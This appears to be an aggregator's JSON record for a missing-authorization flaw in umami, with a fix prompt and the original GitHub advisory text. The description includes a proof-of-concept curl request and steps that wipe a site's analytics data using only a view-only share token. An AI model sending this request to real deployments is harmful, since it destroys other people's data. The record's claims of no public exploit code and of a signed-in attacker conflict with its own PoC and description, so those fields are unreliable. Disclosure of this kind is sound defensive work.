{"answers":{"affected":"2 open source packages ship an affected version, including umami.","exploited":"There is no known exploitation of GHSA-8www-cffh-4q98 in the wild and no public exploit code.","fix":"Upgrade umami to 2.3.1 or later.","what":"GHSA-8www-cffh-4q98 is a missing authorization vulnerability in umami, published on 28 Jul 2023. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-8www-cffh-4q98 and fix it if it is affected.\n\nWhat it is: GHSA-8www-cffh-4q98 is a missing authorization vulnerability in umami, published on 28 Jul 2023. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-8www-cffh-4q98 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- umami (npm): affected all versions; fixed in 2.3.1\n- umami (npm): affected all versions; fixed in 2.3.1\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-8www-cffh-4q98/ (Markdown: https://insights.sbomify.com/GHSA-8www-cffh-4q98/index.md)","id":"GHSA-8www-cffh-4q98","markdown":"https://insights.sbomify.com/GHSA-8www-cffh-4q98/index.md","name":"GHSA-8www-cffh-4q98","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"Umami analytics","requires_auth":"low_privilege","summary":"Attackers with view-only share links can reset all website data due to incorrect authorization checks on the reset endpoint.","user_interaction":"not_required","vuln_class":"missing_authorization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nAnyone with a share link (permissions to view) can reset the website data.\n\n### Details\nWhen a user navigates to a `/share/` URL, he receives a share token which is used for authentication. This token is later verified by `useAuth`. After the token is verified, the user can call most of the `GET` APIs that allow fetching stats about a website.\n\nThe `POST /reset` endpoint is secured using `canViewWebsite` which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - [permalink](https://github.com/umami-software/umami/blob/7bfbe264852558a148c7741f8637ff2b266d48cd/pages/api/websites/%5Bid%5D/reset.ts#L22)\n\n### PoC\n```bash\ncurl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \\\n  -H 'authority: analytics.umami.is' \\\n  -H 'accept: application/json' \\\n  -H 'accept-language: en-US,en;q=0.9' \\\n  -H 'authorization: Bearer undefined' \\\n  -H 'cache-control: no-cache' \\\n  -H 'content-type: application/json' \\\n  -H 'pragma: no-cache' \\\n  -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \\\n  -H 'sec-ch-ua: \"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\"' \\\n  -H 'sec-ch-ua-mobile: ?0' \\\n  -H 'sec-ch-ua-platform: \"Linux\"' \\\n  -H 'sec-fetch-dest: empty' \\\n  -H 'sec-fetch-mode: cors' \\\n  -H 'sec-fetch-site: same-origin' \\\n  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \\\n  -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \\\n  --compressed\n```\n\nYou can reproduce this by:\n* Accessing a website using it's share link\n* Copy the `token` received from the the received from the `GET /share/{website-id}`\n* Send a POST request to `https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset` with `x-umami-share-token: ` header equal to the token copied in the previous step\n* The website data is now cleared\n\n### Impact\nEveryone with an open share link exposed to the internet!","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Anyone with a share link can RESET all website data in Umami","id":"GHSA-8www-cffh-4q98","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"missing_authorization","year":"2023"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["2.3.1"],"introduced":["0"],"last_affected":[],"package":"umami","purl":null,"source":"GHSA-8www-cffh-4q98"},{"ecosystem":"npm","fixed":["2.3.1"],"introduced":["0"],"last_affected":[],"package":"umami","purl":"pkg:npm/umami","source":"GHSA-8www-cffh-4q98"}],"products":null,"published":"2023-07-28","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers with view-only share links can reset all website data due to incorrect authorization checks on the reset endpoint.","url":"https://insights.sbomify.com/GHSA-8www-cffh-4q98/"}